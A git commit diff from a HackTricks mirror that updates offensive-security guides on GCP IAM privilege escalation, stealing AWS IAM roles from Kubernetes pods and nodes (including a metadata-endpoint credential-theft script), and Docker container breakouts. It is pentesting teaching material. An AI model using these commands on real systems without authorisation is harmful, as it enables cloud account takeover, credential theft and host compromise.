Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-15 09:27:32 +00:00
Code Issues Projects Releases Packages Wiki Activity

GitBook: [#2971] No subject

Browse source
This commit is contained in:
CPol 2022-01-26 16:08:23 +00:00 committed by gitbook-bot
parent ff4db39542
commit 43a4924a78
No known key found for this signature in database
GPG key ID: 07D2180C7B12D0FF
9 changed files with 399 additions and 268 deletions
Show stats Download patch file Download diff file Expand all files Collapse all files

4
SUMMARY.md
View file

@ -494,9 +494,9 @@
* [GCP Security](cloud-security/gcp-security/README.md)
* [GCP - Local Privilege Escalation / SSH Pivoting](cloud-security/gcp-security/gcp-local-privilege-escalation-ssh-pivoting.md)
* [GCP - IAM Escalation](cloud-security/gcp-security/gcp-iam-escalation.md)
* [GCP - Other Services Enumeration](cloud-security/gcp-security/gcp-looting.md)
* [GCP - Interesting Permissions](cloud-security/gcp-security/gcp-interesting-permissions.md)
* [GCP - Abuse GCP Permissions](cloud-security/gcp-security/gcp-interesting-permissions/README.md)
* [GCP - Privesc to other Principals](cloud-security/gcp-security/gcp-interesting-permissions/gcp-privesc-to-other-principals.md)
* [GCP - Buckets: Public Assets Brute-Force & Discovery, & Buckets Privilege Escalation](cloud-security/gcp-security/gcp-buckets-brute-force-and-privilege-escalation.md)
* [GCP - Compute Enumeration](cloud-security/gcp-security/gcp-compute-enumeration.md)
* [GCP - Network Enumeration](cloud-security/gcp-security/gcp-network-enumeration.md)

14
cloud-security/gcp-security/README.md
View file

@ -259,6 +259,14 @@ We've automated this completely using [this python script](https://gitlab.com/gi
[gcp-buckets-brute-force-and-privilege-escalation.md](gcp-buckets-brute-force-and-privilege-escalation.md)
{% endcontent-ref %}
#### Phishing
You could **OAuth phish** a user with high privileges.
#### Dorks
* **Github**: auth\_provider\_x509\_cert\_url extension:json
## Generic GCP Security Checklists
* [Google Cloud Computing Platform CIS Benchmark](https://www.cisecurity.org/cis-benchmarks/)
@ -282,8 +290,8 @@ The most common way once you have obtained some cloud credentials of has comprom
Moreover, during this enumeration, remember that **permissions can be set at the highest level of "Organization"** as well.
{% content-ref url="gcp-interesting-permissions.md" %}
[gcp-interesting-permissions.md](gcp-interesting-permissions.md)
{% content-ref url="gcp-interesting-permissions/" %}
[gcp-interesting-permissions](gcp-interesting-permissions/)
{% endcontent-ref %}
### Bypassing access scopes <a href="#bypassing-access-scopes" id="bypassing-access-scopes"></a>
@ -369,7 +377,7 @@ Impersonating a service account can be very useful to **obtain new and better pr
There are three ways in which you can [impersonate another service account](https://cloud.google.com/iam/docs/understanding-service-accounts#impersonating\_a\_service\_account):
* Authentication **using RSA private keys** (covered [above](./#bypassing-access-scopes))
* Authorization **using Cloud IAM policies** (covered [here](gcp-iam-escalation.md#iam.serviceaccounttokencreator))
* Authorization **using Cloud IAM policies** (covered [here](broken-reference))
* **Deploying jobs on GCP services** (more applicable to the compromise of a user account)
### Granting access to management console <a href="#granting-access-to-management-console" id="granting-access-to-management-console"></a>

20
cloud-security/gcp-security/gcp-iam-escalation.md
View file

@ -1,20 +0,0 @@
# GCP - IAM Escalation
## **iam.serviceAccountTokenCreator**
The predefined role called **`iam.serviceAccountTokenCreator`** allow to **impersonate other accounts** that can have more permissions and/or a less restrictive scope.
Using this role you could impersonate the default service account if it still exists in the project as it has the primitive role of Project Editor. You should also search for a service account with the primitive role of Owner.
`gcloud` has a `--impersonate-service-account` [flag](https://cloud.google.com/sdk/gcloud/reference/#--impersonate-service-account) which can be used with any command to execute in the context of that account.
To give this a shot, you can try the following:
```bash
# View available service accounts
gcloud iam service-accounts list
# Impersonate the account
gcloud compute instances list \
--impersonate-service-account xxx@developer.gserviceaccount.com
```

102
cloud-security/gcp-security/gcp-interesting-permissions.md → cloud-security/gcp-security/gcp-interesting-permissions/README.md
View file

@ -1,4 +1,4 @@
# GCP - Interesting Permissions
# GCP - Abuse GCP Permissions
## Introduction to GCP Privilege Escalation <a href="#introduction-to-gcp-privilege-escalation" id="introduction-to-gcp-privilege-escalation"></a>
@ -32,102 +32,6 @@ You could actually **launch any resource** listed in `gcloud deployment-manager
In the [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/) following[ **script**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/deploymentmanager.deployments.create.py) is used to deploy a compute instance, however that script won't work. Check a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp\_privesc\_scripts/blob/main/tests/1-deploymentmanager.deployments.create.sh)**.**
## IAM
### iam.roles.update (iam.roles.get)
If you have the mentioned permissions you will be able to update a role assigned to you and give you extra permissions to other resources like:
```bash
gcloud iam roldes update <rol name> --project <project> --add-permissions <permission>
```
You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](gcp-interesting-permissions.md#deploymentmanager) and a python script to abuse this privilege [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.roles.update.py). For more information check the [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
### iam.serviceAccounts.getAccessToken (iam.serviceAccounts.get)
This permission allows to **request an access token that belongs to a Service Account**, so it's possible to request an access token of a Service Account with more privileges than ours.
You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp\_privesc\_scripts/blob/main/tests/4-iam.serviceAccounts.getAccessToken.sh) and a python script to abuse this privilege [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getAccessToken.py). For more information check the [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
### iam.serviceAccountKeys.create
This permission allows us to do something similar to the previous method, but instead of an access token, we are **creating a user-managed key for a Service Account**, which will allow us to access GCP as that Service Account.
```bash
gcloud iam service-accounts keys create --iam-account <name>
```
You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp\_privesc\_scripts/blob/main/tests/3-iam.serviceAccountKeys.create.sh) and a python script to abuse this privilege [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccountKeys.create.py). For more information check the [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
### iam.serviceAccounts.implicitDelegation
If you have the _**iam.serviceAccounts.implicitDelegation**_** permission on a Service Account** that has the _**iam.serviceAccounts.getAccessToken**_** permission on a third Service Account**, then you can use implicitDelegation to **create a token for that third Service Account**. Here is a diagram to help explain.
![](https://rhinosecuritylabs.com/wp-content/uploads/2020/04/image2-500x493.png)
You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp\_privesc\_scripts/blob/main/tests/5-iam.serviceAccounts.implicitDelegation.sh) and a python script to abuse this privilege [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.implicitDelegation.py). For more information check the [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
### iam.serviceAccounts.signBlob
The _iam.serviceAccounts.signBlob_ permission “allows signing of arbitrary payloads” in GCP. This means we can **create an unsigined JWT of the SA and then send it as a blob to get the JWT signed** by the SA **** we are targeting. For more information [**read this**](https://medium.com/google-cloud/using-serviceaccountactor-iam-role-for-account-impersonation-on-google-cloud-platform-a9e7118480ed).
You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp\_privesc\_scripts/blob/main/tests/6-iam.serviceAccounts.signBlob.sh) and a python script to abuse this privilege [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-accessToken.py) and [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-gcsSignedUrl.py). For more information check the [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
### iam.serviceAccounts.signJwt
Similar to how the previous method worked by signing arbitrary payloads, this method works by signing well-formed JSON web tokens (JWTs). The difference with the previous method is that **instead of making google sign a blob containing a JWT, we use the signJWT method that already expects a JWT**. This makes it easier to use but you can only sign JWT instead of any bytes.
You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp\_privesc\_scripts/blob/main/tests/7-iam.serviceAccounts.signJWT.sh) and a python script to abuse this privilege [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signJWT.py). For more information check the [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
### iam.serviceAccounts.setIamPolicy <a href="#iam.serviceaccounts.setiampolicy" id="iam.serviceaccounts.setiampolicy"></a>
This permission allows to **add IAM policies to service accounts**. You can abuse it to **grant yourself** the permissions you need to impersonate the service account. In the following example we are granting ourselves the “roles/iam.serviceAccountTokenCreator” role over the interesting SA:
```bash
gcloud iam service-accounts add-iam-policy-binding "${VICTIM_SA}@${PROJECT_ID}.iam.gserviceaccount.com" \
--member="user:username@domain.com" \
--role="roles/iam.serviceAccountTokenCreator"
```
You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp\_privesc\_scripts/blob/main/tests/d-iam.serviceAccounts.setIamPolicy.sh).
### iam.serviceAccounts.actAs
This means that as part of creating certain resources, you must “actAs” the Service Account for the call to complete successfully. For example, when starting a new Compute Engine instance with an attached Service Account, you need _iam.serviceAccounts.actAs_ on that Service Account. This is because without that permission, users could escalate permissions with fewer permissions to start with.
**There are multiple individual methods that use **_**iam.serviceAccounts.actAs**_**, so depending on your own permissions, you may only be able to exploit one (or more) of these methods below**. These methods are slightly different in that they **require multiple permissions to exploit, rather than a single permission** like all of the previous methods.
### iam.serviceAccounts.getOpenIdToken
This permission can be used to generate an OpenID JWT. These are used to assert identity and do not necessarily carry any implicit authorization against a resource.
According to this [**interesting post**](https://medium.com/google-cloud/authenticating-using-google-openid-connect-tokens-e7675051213b), it's necessary to indicate the audience (service where you want to use the token to authenticate to) and you will receive a JWT signed by google indicating the service account and the audience of the JWT.
You can generate an OpenIDToken (if you have the access) with:
```bash
# First activate the SA with iam.serviceAccounts.getOpenIdToken over the other SA
gcloud auth activate-service-account --key-file=/path/to/svc_account.json
# Then, generate token
gcloud auth print-identity-token "${ATTACK_SA}@${PROJECT_ID}.iam.gserviceaccount.com" --audiences=https://example.com
```
Then you can just use it to access the service with:
```bash
curl -v -H "Authorization: Bearer id_token" https://some-cloud-run-uc.a.run.app
```
Some services that support authentication via this kind of tokens are:
* [Google Cloud Run](https://cloud.google.com/run/)
* [Google Cloud Functions](https://cloud.google.com/functions/docs/)
* [Google Identity Aware Proxy](https://cloud.google.com/iap/docs/authentication-howto)
* [Google Cloud Endpoints](https://cloud.google.com/endpoints/docs/openapi/authenticating-users-google-id) (if using Google OIDC)
You can find an example on how to create and OpenID token behalf a service account [**here**](https://github.com/carlospolop-forks/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getOpenIdToken.py).
## cloudbuild
### cloudbuild.builds.create
@ -367,8 +271,8 @@ There are tens of resources types with this kind of permission, you can find all
An **example** of privilege escalation abusing .setIamPolicy (in this case in a bucket) can be found here:
{% content-ref url="gcp-buckets-brute-force-and-privilege-escalation.md" %}
[gcp-buckets-brute-force-and-privilege-escalation.md](gcp-buckets-brute-force-and-privilege-escalation.md)
{% content-ref url="../gcp-buckets-brute-force-and-privilege-escalation.md" %}
[gcp-buckets-brute-force-and-privilege-escalation.md](../gcp-buckets-brute-force-and-privilege-escalation.md)
{% endcontent-ref %}
## References

98
cloud-security/gcp-security/gcp-interesting-permissions/gcp-privesc-to-other-principals.md Normal file
View file

@ -0,0 +1,98 @@
# GCP - Privesc to other Principals
## IAM
### iam.roles.update (iam.roles.get)
If you have the mentioned permissions you will be able to update a role assigned to you and give you extra permissions to other resources like:
```bash
gcloud iam roldes update <rol name> --project <project> --add-permissions <permission>
```
You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](gcp-privesc-to-other-principals.md#deploymentmanager) and a python script to abuse this privilege [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.roles.update.py). For more information check the [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
### iam.serviceAccounts.getAccessToken (iam.serviceAccounts.get)
This permission allows to **request an access token that belongs to a Service Account**, so it's possible to request an access token of a Service Account with more privileges than ours.
You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp\_privesc\_scripts/blob/main/tests/4-iam.serviceAccounts.getAccessToken.sh) and a python script to abuse this privilege [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getAccessToken.py). For more information check the [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
### iam.serviceAccountKeys.create
This permission allows us to do something similar to the previous method, but instead of an access token, we are **creating a user-managed key for a Service Account**, which will allow us to access GCP as that Service Account.
```bash
gcloud iam service-accounts keys create --iam-account <name>
```
You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp\_privesc\_scripts/blob/main/tests/3-iam.serviceAccountKeys.create.sh) and a python script to abuse this privilege [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccountKeys.create.py). For more information check the [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
### iam.serviceAccounts.implicitDelegation
If you have the _**iam.serviceAccounts.implicitDelegation**_** permission on a Service Account** that has the _**iam.serviceAccounts.getAccessToken**_** permission on a third Service Account**, then you can use implicitDelegation to **create a token for that third Service Account**. Here is a diagram to help explain.
![](https://rhinosecuritylabs.com/wp-content/uploads/2020/04/image2-500x493.png)
You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp\_privesc\_scripts/blob/main/tests/5-iam.serviceAccounts.implicitDelegation.sh) and a python script to abuse this privilege [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.implicitDelegation.py). For more information check the [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
### iam.serviceAccounts.signBlob
The _iam.serviceAccounts.signBlob_ permission “allows signing of arbitrary payloads” in GCP. This means we can **create an unsigined JWT of the SA and then send it as a blob to get the JWT signed** by the SA **** we are targeting. For more information [**read this**](https://medium.com/google-cloud/using-serviceaccountactor-iam-role-for-account-impersonation-on-google-cloud-platform-a9e7118480ed).
You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp\_privesc\_scripts/blob/main/tests/6-iam.serviceAccounts.signBlob.sh) and a python script to abuse this privilege [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-accessToken.py) and [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-gcsSignedUrl.py). For more information check the [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
### iam.serviceAccounts.signJwt
Similar to how the previous method worked by signing arbitrary payloads, this method works by signing well-formed JSON web tokens (JWTs). The difference with the previous method is that **instead of making google sign a blob containing a JWT, we use the signJWT method that already expects a JWT**. This makes it easier to use but you can only sign JWT instead of any bytes.
You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp\_privesc\_scripts/blob/main/tests/7-iam.serviceAccounts.signJWT.sh) and a python script to abuse this privilege [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signJWT.py). For more information check the [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
### iam.serviceAccounts.setIamPolicy <a href="#iam.serviceaccounts.setiampolicy" id="iam.serviceaccounts.setiampolicy"></a>
This permission allows to **add IAM policies to service accounts**. You can abuse it to **grant yourself** the permissions you need to impersonate the service account. In the following example we are granting ourselves the “roles/iam.serviceAccountTokenCreator” role over the interesting SA:
```bash
gcloud iam service-accounts add-iam-policy-binding "${VICTIM_SA}@${PROJECT_ID}.iam.gserviceaccount.com" \
--member="user:username@domain.com" \
--role="roles/iam.serviceAccountTokenCreator"
```
You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp\_privesc\_scripts/blob/main/tests/d-iam.serviceAccounts.setIamPolicy.sh).
### iam.serviceAccounts.actAs
This means that as part of creating certain resources, you must “actAs” the Service Account for the call to complete successfully. For example, when starting a new Compute Engine instance with an attached Service Account, you need _iam.serviceAccounts.actAs_ on that Service Account. This is because without that permission, users could escalate permissions with fewer permissions to start with.
**There are multiple individual methods that use **_**iam.serviceAccounts.actAs**_**, so depending on your own permissions, you may only be able to exploit one (or more) of these methods below**. These methods are slightly different in that they **require multiple permissions to exploit, rather than a single permission** like all of the previous methods.
### iam.serviceAccounts.getOpenIdToken
This permission can be used to generate an OpenID JWT. These are used to assert identity and do not necessarily carry any implicit authorization against a resource.
According to this [**interesting post**](https://medium.com/google-cloud/authenticating-using-google-openid-connect-tokens-e7675051213b), it's necessary to indicate the audience (service where you want to use the token to authenticate to) and you will receive a JWT signed by google indicating the service account and the audience of the JWT.
You can generate an OpenIDToken (if you have the access) with:
```bash
# First activate the SA with iam.serviceAccounts.getOpenIdToken over the other SA
gcloud auth activate-service-account --key-file=/path/to/svc_account.json
# Then, generate token
gcloud auth print-identity-token "${ATTACK_SA}@${PROJECT_ID}.iam.gserviceaccount.com" --audiences=https://example.com
```
Then you can just use it to access the service with:
```bash
curl -v -H "Authorization: Bearer id_token" https://some-cloud-run-uc.a.run.app
```
Some services that support authentication via this kind of tokens are:
* [Google Cloud Run](https://cloud.google.com/run/)
* [Google Cloud Functions](https://cloud.google.com/functions/docs/)
* [Google Identity Aware Proxy](https://cloud.google.com/iap/docs/authentication-howto)
* [Google Cloud Endpoints](https://cloud.google.com/endpoints/docs/openapi/authenticating-users-google-id) (if using Google OIDC)
You can find an example on how to create and OpenID token behalf a service account [**here**](https://github.com/carlospolop-forks/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getOpenIdToken.py).

130
cloud-security/pentesting-kubernetes/kubernetes-access-to-other-clouds.md
View file

@ -42,7 +42,7 @@ metadata:
* Create the KSA - GSA Binding:
```bash
gcloud iam service-accounts add-iam-policy-binding \
gcloud iam service-accounts \
--role roles/iam.workloadIdentityUser \
--member "serviceAccount:PROJECT-ID.svc.id.goog[$NAMESPACE/$KSA-NAME]" \
$GSA-NAME@PROJECT-ID.iam.gserviceaccount.com
@ -61,28 +61,93 @@ This is a script to easily **iterate over the all the pods** definitions **looki
for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "Pod: $ns/$pod"
kubectl get pods -n "$ns" -o yaml | grep "iam.gke.io/gcp-service-account"
kubectl get pod "$pod" -n "$ns" -o yaml | grep "gcp-service-account"
echo ""
echo ""
done
done
done | grep -B 1 "gcp-service-account"
```
## AWS
### &#x20;Workflow of IAM role for Service Accounts: <a href="#workflow-of-iam-role-for-service-accounts" id="workflow-of-iam-role-for-service-accounts"></a>
### Kiam & Kube2IAM (IAM role for Pods) <a href="#workflow-of-iam-role-for-service-accounts" id="workflow-of-iam-role-for-service-accounts"></a>
![](https://blogs.halodoc.io/content/images/2021/03/Group\_s3.png)
An (outdated) way to give IAM Roles to Pods is to use a [**Kiam**](https://github.com/uswitch/kiam) or a [**Kube2IAM**](https://github.com/jtblin/kube2iam) **server.** Basically you will need to run a **daemonset** in your cluster with a **kind of privileged IAM role**. This daemonset will be the one that will give access to IAM roles to the pods that need it.
1. When you launch an application on kubernetes with `kubectl apply -f application-job.yaml`, the yaml manifest is submitted to the API server with the Amazon EKS Pod Identity webhook configured.
2. Kubernetes uses the service account set via serviceAccountName
3. Since the **service account has the annotation passed "eks.amazonaws.com/role-arn"** in `serviceaccount.yaml` the webhook injects the necessary environment variables (**AWS\_ROLE\_ARN** and **AWS\_WEB\_IDENTITY\_TOKEN**) and sets up aws-iam-token projected volumes.
4. When application calls out to s3 to do any s3 operations the AWS SDK we use in the application code base performs STS **assume role** with web identity performs assume role that has s3 permissions attached. It receives temporary credentials that it uses to complete the S3 operation.
First of all you need to configure **which roles can be accessed inside the namespace**, and you do that with an annotation inside the namespace object:
{% code title="Kiam" %}
```yaml
kind: Namespace
metadata:
name: iam-example
annotations:
iam.amazonaws.com/permitted: ".*"
```
{% endcode %}
{% code title="Kube2iam" %}
```yaml
apiVersion: v1
kind: Namespace
metadata:
annotations:
iam.amazonaws.com/allowed-roles: |
["role-arn"]
name: default
```
{% endcode %}
Once the namespace is configured with the IAM roles the Pods can have you can **indicate the role you want on each pod definition with something like**:
{% code title="Kiam & Kube2iam" %}
```yaml
kind: Pod
metadata:
name: foo
namespace: external-id-example
annotations:
iam.amazonaws.com/role: reportingdb-reader
```
{% endcode %}
{% hint style="warning" %}
As an attacker, if you **find these annotations** in pods or namespaces or a kiam/kube2iam server running (in kube-system probably) you can **impersonate every r**ole that is already **used by pods** and more (if you have access to AWS account enumerate the roles).
{% endhint %}
#### Create Pod with IAM Role
{% hint style="info" %}
The IAM role to indicate must be in the same AWS account as the kiam/kube2iam role and that role must be able to access it.
{% endhint %}
```yaml
echo 'apiVersion: v1
kind: Pod
metadata:
annotations:
iam.amazonaws.com/role: transaction-metadata
name: alpine
namespace: eevee
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", "sleep 100000"]' | kubectl apply -f -
```
### Workflow of IAM role for Service Accounts via OIDC <a href="#workflow-of-iam-role-for-service-accounts" id="workflow-of-iam-role-for-service-accounts"></a>
This is the recommended way by AWS.
1. First of all you need to [create an OIDC provider for the cluster](https://docs.aws.amazon.com/eks/latest/userguide/enable-iam-roles-for-service-accounts.html).
2. Then you create an IAM role with the permissions the SA will require.
3. Create a [trust relationship between the IAM role and the SA](https://docs.aws.amazon.com/eks/latest/userguide/iam-roles-for-service-accounts-technical-overview.html) name (or the namespaces giving access to the role to all the SAs of the namespace). _The trust relationship will mainly check the OIDC provider name, the namespace name and the SA name_.
4. Finally, **create a SA with an annotation indicating the ARN of the role**, and the pods running with that SA will have **access to the token of the role**. The **token** is **written** inside a file and the path is specified in **`AWS_WEB_IDENTITY_TOKEN_FILE`** (default: `/var/run/secrets/eks.amazonaws.com/serviceaccount/token`)
(You can find an example of this configuration [here](https://blogs.halodoc.io/iam-roles-for-service-accounts-2/))
Just like with GCP an **annotation** is needed to relate the KSA with the IAM role:
```yaml
apiVersion: v1
kind: ServiceAccount
@ -92,25 +157,60 @@ metadata:
```
{% hint style="warning" %}
As an attacker, if you can enumerate a K8s cluster, check for **pods with that annotation** as you could manage to **escalate to AWS**.
As an attacker, if you can enumerate a K8s cluster, check for **service accounts with that annotation** to **escalate to AWS**. To do so, just **exec/create** a **pod** using one of the IAM **privileged service accounts** and steal the token.
Moreover, if you are inside a pod, check for env variables like **AWS\_ROLE\_ARN** and **AWS\_WEB\_IDENTITY\_TOKEN.**
****
{% endhint %}
This is a script to easily **iterate over the all the pods** definitions **looking** for that **annotation**:
### Find Pods a SAs with IAM Roles in the Cluster
This is a script to easily **iterate over the all the pods and sas** definitions **looking** for that **annotation**:
```bash
for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "Pod: $ns/$pod"
kubectl get pod "$pod" -n "$ns" -o yaml | grep "eks.amazonaws.com/role-arn"
kubectl get pod "$pod" -n "$ns" -o yaml | grep "amazonaws.com"
echo ""
echo ""
done
done
for sa in `kubectl get serviceaccounts -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "SA: $ns/$sa"
kubectl get serviceaccount "$sa" -n "$ns" -o yaml | grep "amazonaws.com"
echo ""
echo ""
done
done | grep -B 1 "amazonaws.com"
```
### Node IAM Role
The previos section was about how to steal IAM Roles with pods, but note that a **Node of the** K8s cluster is going to be an **instance inside the cloud**. This means that the Node is highly probable going to **have a new IAM role you can steal** (_note that usually all the nodes of a K8s cluster will have the same IAM role, so it might not be worth it to try to check on each node_).
There is however an important requirement to access the metadata endpoint from the node, you need to be in the node (ssh session?) or at least have the same network:
```bash
kubectl run NodeIAMStealer --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostNetwork": true, "containers":[{"name":"1","image":"alpine","stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent"}]}}'
```
### Steal IAM Role Token
Previously we have discussed how to **attach IAM Roles to Pods** or even how to **escape to the Node to steal the IAM Role** the instance has attached to it.
You can use the following script to **steal** your new hard worked **IAM role credentials**:
```bash
IAM_ROLE_NAME=$(curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null || wget http://169.254.169.254/latest/meta-data/iam/security-credentials/ -O - 2>/dev/null)
if [ "$IAM_ROLE_NAME" ]; then
echo "IAM Role discovered: $IAM_ROLE_NAME"
if ! echo "$IAM_ROLE_NAME" | grep -q "empty role"; then
echo "Credentials:"
curl "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" 2>/dev/null || wget "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" -O - 2>/dev/null
fi
fi
```
## References

10
external-recon-methodology/README.md
View file

@ -116,6 +116,12 @@ python3 favihash.py -f https://target/favicon.ico -t targets.txt -s
Simply said, favihash will allow us to discover domains that have the same favicon icon hash as our target.
Moreover, you can also search technologies using the favicon hash as explained in [**this blog post**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139). That means that if you know the **hash of the favicon of a vulnerable version of a web tech** you can search if in shodan and **find more vulnerable places**:
```bash
hodan search org:"Target" http.favicon.hash:116323821 --fields ip_str,port --separator " " | awk '{print $1":"$2}'
```
### Other ways
**Note that you can use this technique to discover more domain names every time you find a new domain.**
@ -308,7 +314,7 @@ To perform the proposed idea you can use [**EyeWitness**](https://github.com/For
## Cloud Assets
Just with some **specific keywords** identifying the company it's possible to enumerate possible cloud assets belonging to them with tools like [**cloud_enum**](https://github.com/initstring/cloud_enum)**,** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper) **or** [**cloudlist**](https://github.com/projectdiscovery/cloudlist)**.**
Just with some **specific keywords** identifying the company it's possible to enumerate possible cloud assets belonging to them with tools like [**cloud\_enum**](https://github.com/initstring/cloud\_enum)**,** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper) **or** [**cloudlist**](https://github.com/projectdiscovery/cloudlist)**.**
## Recapitulation 1
@ -331,7 +337,7 @@ Then, it's time for the real Bug Bounty hunt! In this methodology I'm **not goin
[github-leaked-secrets.md](github-leaked-secrets.md)
{% endcontent-ref %}
You can also search for leaked secrets in all open repository platforms using: [https://searchcode.com/?q=auth_key](https://searchcode.com/?q=auth_key)
You can also search for leaked secrets in all open repository platforms using: [https://searchcode.com/?q=auth\_key](https://searchcode.com/?q=auth\_key)
## [**Pentesting Web Methodology**](../pentesting/pentesting-web/)

120
linux-unix/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation.md
View file

@ -80,9 +80,27 @@ The `--privileged` flag introduces significant security concerns, and the exploi
[docker-privileged.md](docker-privileged.md)
{% endcontent-ref %}
### Mounting Disk
### Privileged + hostPID
#### Poc1
With these permissions you can just **move to the namespace of a process running in the host as root** like init (pid:1) just running: `nsenter --target 1 --mount --uts --ipc --net --pid -- bash`
Test it in a container executing:
```bash
docker run --rm -it --pid=host --privileged ubuntu bash
```
### Privileged
Just with the privileged flag you can try to **access the host's disk** or try to **escape abusing release\_agent or other escapes**.
Test the following bypasses in a container executing:
```bash
docker run --rm -it --privileged ubuntu bash
```
#### Mounting Disk - Poc1
Well configured docker containers won't allow command like **fdisk -l**. However on miss-configured docker command where the flag `--privileged` or `--device=/dev/sda1` with caps is specified, it is possible to get the privileges to see the host drive.
@ -97,7 +115,7 @@ mount /dev/sda1 /mnt/hola
And voilà ! You can now access the filesystem of the host because it is mounted in the `/mnt/hola` folder.
#### Poc2
#### Mounting Disk - Poc2
Within the container, an attacker may attempt to gain further access to the underlying host OS via a writable hostPath volume created by the cluster. Below is some common things you can check within the container to see if you leverage this attacker vector:
@ -122,7 +140,7 @@ mount: /mnt: permission denied. ---> Failed! but if not, you may have access to
debugfs /dev/sda1
```
### Abusing release\_agent
#### Privileged Escape Abusing release\_agent - PoC1
{% code title="Initial PoC" %}
```bash
@ -160,7 +178,7 @@ cat /o
```
{% endcode %}
The following is a different version, more readable, of the previous script:
#### Privileged Escape Abusing release\_agent - PoC2
{% code title="Second PoC" %}
```bash
@ -212,20 +230,7 @@ Find an **explanation of the technique** in:
[docker-release\_agent-cgroups-escape.md](docker-breakout-privilege-escalation/docker-release\_agent-cgroups-escape.md)
{% endcontent-ref %}
